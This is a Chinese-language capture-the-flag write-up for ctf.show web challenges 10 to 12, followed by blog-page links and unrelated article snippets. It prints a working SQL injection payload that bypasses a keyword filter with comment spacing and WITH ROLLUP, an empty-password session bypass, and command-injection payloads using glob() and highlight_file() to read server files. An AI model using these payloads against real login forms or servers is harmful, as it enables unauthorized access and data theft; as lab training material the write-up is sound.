web10

WITH ROLLUP 绕过

点击取消键弹出源码下载:

源码如下:

<?php
$flag="";
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if (!$con)
{
die('Could not connect: ' . mysqli_error());
}
if(strlen($username)!=strlen(replaceSpecialChar($username))){
die("sql inject error");
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
$sql="select * from user where username = '$username'";
select * from user where username = 'admin'or 1=1 GROUP BY password WITH ROLLUP LIMIT 1 OFFSET 1
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){ //返回结果集中行的数目
while($row=mysqli_fetch_assoc($result)){
if($password==$row['password']){
echo "登陆成功<br>";
echo $flag;
}
}
}
?>

首先对post的数据进行了select|from|where|join|sleep|and|\s|union|的过滤,然后查询出来的字符串长度要和我们post的长度相等,这两条限制使得无法通过双写绕过。

如果我们同时知道数据库中的usernamepassword的话就可以通过,可问题是我们并不知道,所以就需要进行注入,自行构造。

mysql中的with rollup是用来在分组统计数据的基础上再进行统计汇总,用来得到group by的汇总信息;

结果中将会多出一行,其中age列为nullcount(*)为统计和。

我们就是要通过with rollup使sql语句查询结果为null,然后不输入pwd使pwd为null就可以使$password==$row['password']

构建payload:'or/**/1=1/**/GROUP/**/BY/**/password/**/WITH/**/ROLLUP/**/LIMIT/**/1/**/OFFSET/**/1#

offset后面的值需要尝试才能找到pwd是null的行

参考文章

web11

题目给出源码:

<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>

输出flag的条件为:$password==$_SESSION['password']

password是由我们自己输入的,session中的password存储在本地,所以我们只需要输入空密码,并且将本地的session删除即可成功绕过。

直接输出flag

web12

查看源码:

猜测可能后端代码中存在 eval()或者exec()等可以执行命令的代码。

使用glob() 函数返回匹配指定模式的文件名或目录。

glob()用法

glob(“*”) 匹配任意文件

glob(“*.txt”)匹配以txt为后缀的文件

构造payload:?cmd=print_r(glob("*"));

使用文件高亮命令,读出这个文件的PHP代码:

?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');

获得flag。

CTF_show平台 web题解 part2的更多相关文章

  1. CTF_show平台 web题解 part3

    web13 题目显示文件上传,各类型上传均提示错误,在使用ctf-scan扫描的时候,发现upload.php.bak. 查看源码: <?php header("content-typ ...

  2. CTF_show平台 web题解 part1

    web3 题目描述: 方法一:RFI 使用url实现php远程文件包含 在服务器上构造1.txt <?php $a = "<?php eval(\$_POST['123'])?& ...

  3. ctfshow 1024杯 部分web题解

    ------------恢复内容开始------------ 今年1024忙得厉害,去大上海参加geekpwn膜拜大佬,几家平台的题目没怎么好好看.特别是小破站的比赛拉跨的一批,bytectf的web ...

  4. 自制公众平台Web Api(微信)

    最近一段时间感觉没什么东西可以分享给大家,又由于手上项目比较赶,不太更新博客了,今天趁着生病闲下来的时间分享一些项目中的东西给大家. 公众平台 提起公众平台当下最流行的莫过于腾讯的微信了,当然还有易信 ...

  5. 开放平台-web实现人人网第三方登录

    应用场景     web应用通过人人网登录授权实现第三方登录.   操作步骤     1  注册成为人人网开放平台开发者         http://app.renren.com/developer ...

  6. 开放平台-web实现QQ第三方登录

    应用场景     web应用通过QQ登录授权实现第三方登录.   操作步骤     1  注册成为QQ互联平台开发者,http://connect.qq.com/     2  准备一个可访问的域名, ...

  7. 移动平台WEB前端开发技巧汇总

    原文 :http://uecss.com/mobile-platform-web-front-end-development-skills-summary.html 开发者们都知道在高端智能手机系统中 ...

  8. 移动平台WEB前端开发技巧

    1.首先我们来看看webkit内核中的一些私有的meta标签,这些meta标签在开发webapp时起到非常重要的作用 <meta content="width=device-width ...

  9. 移动平台WEB前端开发技巧汇总(转)

    最近我很关注移动前端的知识,但做为一个UI设计师和web前端工作人员没有这个工作环境接触,做为门外汉,网上系统的知识也了了,一直有种雾里看花的感觉,见到本文,我自己是奉为经典.所以我分享之后又专门打笔 ...

随机推荐

  1. 并行处理框架Celery的Web监控管理服务-Flower

    安装和使用 使用pip安装Flower: $ pip install flower或 pip install flower -U -i https://pypi.tuna.tsinghua.edu.c ...

  2. RabbitMQ系列之【CentOS6.5安装RabbitMQ】

    环境准备 操作系统:CentOS 6.5 Final RabbitMQ: 3.1.5 Python: 2.7.11 ErLang: R16B02 安装预环境(少什么安装什么) yum -y insta ...

  3. grafana repeat 特性

    1.设置变量 成功后会自动复制变量值个数的的画图板 类似下图 设置后是不能与预览结果的,需要保存后 切换到其他dashboard 再切换回来就可以看见了 官方文档repeat说明

  4. pip应用实例

    homepage 目录 1. 安装 1.1. 指定版本 1.2. 用户权限 1.3. 读取requirments.txt 1.4. 不使用缓存文件 1.5. 指定extras_require 2. 镜 ...

  5. VMWare12安装CentOS7操作系统并搭建GitLab环境【1】

    查看了网上这方面的资料,发现都比较复杂,自己到官方网站上查询,并实际动手安装了一下,发现还是比较简单的. 1.VMWare Workstation 12 Professinal安装 2.安装64位Ce ...

  6. Jenkins项目构建运行

    [准备环境] 继Jenkins环境搭建完成后,进行插件的管理 [思路] 项目顺序是,开发提交代码到代码仓库,测试通过Jenkins拉下开发的代码打包部署: 1.开发提交代码 2.Jenkins自动从代 ...

  7. 学习Linux必须掌握的一个知识-i节点

    linux文件系统是Linux系统的心脏部分,提供了层次结构的目录和文件.文件系统将磁盘空间划分为每1024个字节一组,称为块(也有用512字节为一块的,如:SCOXENIX).编号从0到整个磁盘的最 ...

  8. JDK开发环境的搭建和环境变量的配置

    首先博主先说一下JDK.JRE.JVM的区别和联系.我们正常运行程序的话只需安装JRE就行啦,如果要编译运行Java程序就得需要JKD下的bin目录下的编译工具. JDK -- java develo ...

  9. Azure Monitor(二)Log Analytics

    一,引言( 前情回顾) Azure Monitor 包括 Log Analytics 和 Application Insights,其提供的高级工具适用于收集和分析遥测数据,以便最大程度地提高云和本地 ...

  10. EntityFramework Core 迁移忽略主外键关系

    前言 本文来源于一位公众号童鞋私信我的问题,在我若加思索后给出了其中一种方案,在此之前我也思考过这个问题,借此机会我稍微看了下,目前能够想到的也只是本文所述方案. 为何要忽略主外键关系 我们不仅疑惑为 ...